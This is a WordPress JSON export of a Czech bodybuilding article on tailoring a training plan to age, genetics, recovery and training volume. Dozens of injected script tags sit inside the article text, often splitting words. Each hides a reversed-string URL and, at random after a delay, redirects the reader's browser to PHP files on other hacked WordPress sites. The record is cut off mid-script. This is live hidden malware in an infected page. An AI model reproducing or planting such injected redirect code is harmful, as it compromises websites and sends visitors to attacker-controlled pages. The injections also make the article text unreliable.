{"id":514,"date":"2021-08-17T17:42:03","date_gmt":"2021-08-17T17:42:03","guid":{"rendered":"http:\/\/www.svetkulturistiky.cz\/?p=514"},"modified":"2021-08-18T16:56:42","modified_gmt":"2021-08-18T16:56:42","slug":"jak-personalizovat-svuj-treninkovy-program","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2021\/08\/17\/jak-personalizovat-svuj-treninkovy-program\/","title":{"rendered":"JAK PERSONALIZOVAT SV\u016eJ TR\u00c9NINKOV\u00dd PROGRAM"},"content":{"rendered":"<p><strong>Kdyby fakt, \u017ee budete CVI\u010cIT JAKO JAY CUTLER NEBO RONNIE COLEMAN,\u00a0<\/strong><strong>znamenal, \u017ee budete taky VYPADAT JAKO TIHLE BORCI,\u00a0<\/strong><strong>bylo by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edli\u0161 jednoduch\u00e9. <\/strong><\/p>\n<p><strong>D\u00e1vno v\u00edte, \u017ee na v\u00fdsledc\u00edch tr\u00e9ninku se mnohem v\u00edce odr\u00e1\u017eej\u00ed jin\u00e9 fak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tory ne\u017e <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, jak\u00fdm cvi\u010debn\u00edm programem jste se inspirovali. A taky u\u017e jste se ur\u010dit\u011b d\u00e1vno sm\u00ed\u0159ili s\u00a0kru<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tou pravdou, \u017ee neexistuje jeden funk\u010dn\u00ed tr\u00e9ninkov\u00fd model platn\u00fd pro v\u0161echny. Dokonce ani mnoha lidmi oslavovan\u00fd pl\u00e1n pro hard-gainery z\u00a0n\u00e1s nemus\u00ed ud\u011blat svalovce. A\u0165 se v\u00e1m do rukou dostane jak\u00fdkoliv rozpis tr\u00e9ninku, ide\u00e1ln\u011b byste si ho m\u011bli upravit na m\u00edru sami sob\u011b \u2013 tzv. ho personalizovat. <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p><strong>BEZ PERSONALIZACE TO NEP\u016eJDE<\/strong><\/p>\n<p>Cvi\u010debn\u00ed pl\u00e1n m\u00e1 \u0159adu prom\u011bnn\u00fdch:<\/p>\n<p>\u00d8 cviky;<\/p>\n<p>\u00d8 po\u010det s\u00e9ri\u00ed a opakov\u00e1n\u00ed;<\/p>\n<p>\u00d8 intenzitu;<\/p>\n<p>\u00d8 frekvenci tr\u00e9ninku;<\/p>\n<p>\u00d8 velikost z\u00e1t\u011b\u017ee.<\/p>\n<p>&nbsp;<\/p>\n<p>S\u00a0nimi byste se m\u011bli nau\u010dit spr\u00e1vn\u011b pracovat a upravovat je k\u00a0obrazu sv\u00e9mu. M\u016f\u017eeme v\u00e1m na str\u00e1nk\u00e1ch \u010dasopisu p\u0159in\u00e9st detailn\u00ed rozpisy nejlep\u0161\u00edch sv\u011b<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch z\u00e1vodn\u00edk\u016f, ale pro v\u00e1s <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to budou bezcenn\u00e9 informace, kdy\u017e je nebudete um\u011bt zpracovat. D\u016fvody jsou jasn\u00e9:<\/p>\n<p>\u00d8 ka\u017ed\u00fd \u010dlov\u011bk je jin\u00fd a pot\u0159ebuje k\u00a0dosa\u017een\u00ed v\u00fdsledk\u016f individu\u00e1ln\u00ed tr\u00e9ninkov\u00e9 podn\u011bty;<\/p>\n<p>\u00d8 dokonce ani jednovaje\u010dn\u00e1 dvoj\u010data nebudou na cvi\u010den\u00ed reagovat zcela identicky.<\/p>\n<p>&nbsp;<\/p>\n<p>V\u00a0r\u00e1mci personalizace tr\u00e9ninku mus\u00edte zohlednit zejm\u00e9na zcela z\u00e1kladn\u00ed parametry, jako je:<\/p>\n<p>\u00d8 v\u011bk,<\/p>\n<p>\u00d8 genetick\u00e9 p\u0159edpoklady pro budov\u00e1n\u00ed svalov\u00e9 hmoty,<\/p>\n<p>\u00d8 slabiny zp\u016fsoben\u00e9 prod\u011blan\u00fdm zran\u011bn\u00edm,<\/p>\n<p>\u00d8 schopnost \u010delit bolesti, kter\u00e1 tr\u00e9nink prov\u00e1z\u00ed,<\/p>\n<p>\u00d8 \u00farove\u0148 motivace,<\/p>\n<p>\u00d8 n\u00e1roky kladen\u00e9 ze strany pr\u00e1ce\/studia, rodiny atd.,<\/p>\n<p>\u00d8 mo\u017enosti regenerace,<\/p>\n<p>\u00d8 finan\u010dn\u00ed rozpo\u010det,<\/p>\n<p>\u00d8 doba, kterou je mo\u017en\u00e9 cvi\u010den\u00ed v\u011bnovat,<\/p>\n<p>\u00d8 tr\u00e9ninkov\u00e9 zku\u0161enosti,<\/p>\n<p>\u00d8 dostupn\u00e9 cvi\u010debn\u00ed vybaven\u00ed.<\/p>\n<p>&nbsp;<\/p>\n<p>Je nad slunce jasn\u00e9, \u017ee \u00fapln\u011b jin\u00e9 cvi\u010debn\u00ed mo\u017enosti bude m\u00edt p\u011btadvacetilet\u00fd, svobodn\u00fd student v\u00a0porovn\u00e1n\u00ed s\u00a0p\u011btat\u0159icetilet\u00fdm \u017eenat\u00fdm mu\u017eem, otcem dvou d\u011bt\u00ed, ve stresuj\u00edc\u00ed funkci mana\u017eera n\u011bjak\u00e9 firmy.<\/p>\n<p>&nbsp;<\/p>\n<figure id=\"attachment_516\" aria-describedby=\"caption-attachment-516\" style=\"width: 292px\" class=\"wp-caption alignleft\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-516\" src=\"http:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB2-200x300.jpg\" alt=\"\" width=\"292\" height=\"438\" srcset=\"https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB2-200x300.jpg 200w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB2-768x1152.jpg 768w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB2-683x1024.jpg 683w, https:\/\/svetkulturistiky.cz\/wp-content\/uploads\/2021\/08\/WEB2.jpg 800w\" sizes=\"auto, (max-width: 292px) 100vw, 292px\" \/><figcaption id=\"caption-attachment-516\" class=\"wp-caption-text\">Fo<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to: Irvin Gelb<\/figcaption><\/figure>\n<p><strong>JAK PERSONALIZOVAT?<\/strong><\/p>\n<p>Samoz\u0159ejm\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nep\u016fjde bez obecn\u00fdch z\u00e1klad\u016f, na kter\u00fdch budete stav\u011bt a d\u00edky zku\u0161enostem a postupn\u011b dosahovan\u00fdm v\u00fdsledk\u016fm je m\u016f\u017eete upravovat tak, aby pln\u011b vyhovovaly va\u0161im mo\u017enostem a p\u0159edpoklad\u016fm.<\/p>\n<p>&nbsp;<\/p>\n<ul>\n<li><strong>Objem tr\u00e9ninku<\/strong><\/li>\n<\/ul>\n<p>V\u011bt\u0161ina spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f na sebe nahl\u00ed\u017e\u00ed jako na hardgainery, jen v\u00fdjime\u010dn\u011b v\u00e1m n\u011bkdo \u0159ekne, \u017ee on nab\u00edr\u00e1 hmotu dob\u0159e a snadno. Mnohem snaz\u0161\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e je ukr\u00fdt se (kapku alibisticky) pod p\u0159\u00edv\u011btiv\u00e1 k\u0159\u00eddla nep\u0159ej\u00edc\u00ed genetiky a sv\u00e1d\u011bt p\u0159\u00edpadn\u00e9 ne\u00fasp\u011bchy na matku p\u0159\u00edrodu.<\/p>\n<p>Pokud se ale m\u00e1te pohnout kup\u0159edu, budete se muset pokusit pod\u00edvat pravd\u011b do o\u010d\u00ed. Re\u00e1ln\u00e9 zhodnocen\u00ed <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho, do jak\u00e9 m\u00edry opravdu pat\u0159\u00edte mezi hardgainery, je <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toti\u017e pro stanoven\u00ed spr\u00e1vn\u00e9ho objemu tr\u00e9ninku zcela nezbytn\u00e9.<\/p>\n<p><strong>Plat\u00ed, \u017ee \u010d\u00edm obt\u00ed\u017en\u011bji nab\u00edr\u00e1te hmotu, t\u00edm men\u0161\u00ed objem by m\u011bl m\u00edt v\u00e1\u0161 tr\u00e9nink. <\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>D\u00e1v\u00e1 tedy smysl za\u010d\u00edt zhruba 6-8 cviky v\u00a0jedn\u00e9 tr\u00e9ninkov\u00e9 jednotce (\u010dty\u0159i z\u00e1kladn\u00ed cviky a dva dopl\u0148kov\u00e9). Cvi\u010dit budete dvakr\u00e1t t\u00fddn\u011b. Jestli\u017ee takov\u00fd rozpis p\u0159inese n\u00e1r\u016fst sval\u016f, nemus\u00edte p\u0159em\u00fd\u0161let o sn\u00ed\u017een\u00ed objemu tr\u00e9ninku.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>Jak\u00fdm zp\u016fsobem je mo\u017en\u00e9 manipulovat s\u00a0objemem tr\u00e9ninku?<\/strong><\/p>\n<table>\n<tbody>\n<tr>\n<td width=\"302\"><strong>SN\u00cd\u017dEN\u00cd OBJEMU\u00a0<\/strong><\/td>\n<td width=\"302\"><strong>ZV\u00dd\u0160EN\u00cd OBJEMU\u00a0<\/strong><\/td>\n<\/tr>\n<tr>\n<td width=\"302\">\n<ul>\n<li>omezen\u00ed po\u010dtu cvik\u016f<\/li>\n<\/ul>\n<\/td>\n<td width=\"302\">\n<ul>\n<li>nav\u00fd\u0161en\u00ed po\u010dtu cvik\u016f<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">\n<ul>\n<li>zachov\u00e1n\u00ed tr\u00e9ninkov\u00fdch jednotek, ale za\u0159azen\u00ed del\u0161\u00edch pauz mezi tr\u00e9ninky<\/li>\n<\/ul>\n<\/td>\n<td width=\"302\">\n<ul>\n<li>vynech\u00e1n\u00ed dn\u016f volna, tak\u017ee v\u00a0r\u00e1mci t\u00fddne za\u0159ad\u00edte v\u00edce tr\u00e9nink\u016f<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<tr>\n<td width=\"302\">\n<ul>\n<li>sn\u00ed\u017een\u00ed po\u010dtu prov\u00e1d\u011bn\u00fdch s\u00e9ri\u00ed<\/li>\n<\/ul>\n<\/td>\n<td width=\"302\">\n<ul>\n<li>zv\u00fd\u0161en\u00ed po\u010dtu s\u00e9ri\u00ed v\u00a0r\u00e1mci dan\u00e9ho tr\u00e9ninku<\/li>\n<\/ul>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>&nbsp;<\/p>\n<p>Ka\u017edop\u00e1dn\u011b plat\u00ed, \u017ee pro skute\u010dn\u00e9 hardgainery jsou dva tr\u00e9ninky t\u00fddn\u011b p\u0159\u00ednosn\u011bj\u0161\u00ed ne\u017e t\u0159i. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to i za p\u0159edpokladu, \u017ee by ve t\u0159ech tr\u00e9ninc\u00edch za\u0159azovali r\u016fzn\u00e9 cviky. V\u00edce ne\u017e t\u0159i posilovac\u00ed tr\u00e9ninky v\u00a0t\u00fddnu jsou pro pr\u016fm\u011brn\u00e9 rekrea\u010dn\u00ed cvi\u010dence z\u00a0kategorie za\u010d\u00e1te\u010dn\u00edk\u016f kontraproduktivn\u00ed. Pokud u\u017e n\u011bkdo z\u00a0hardgainer\u016f opravdu <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return 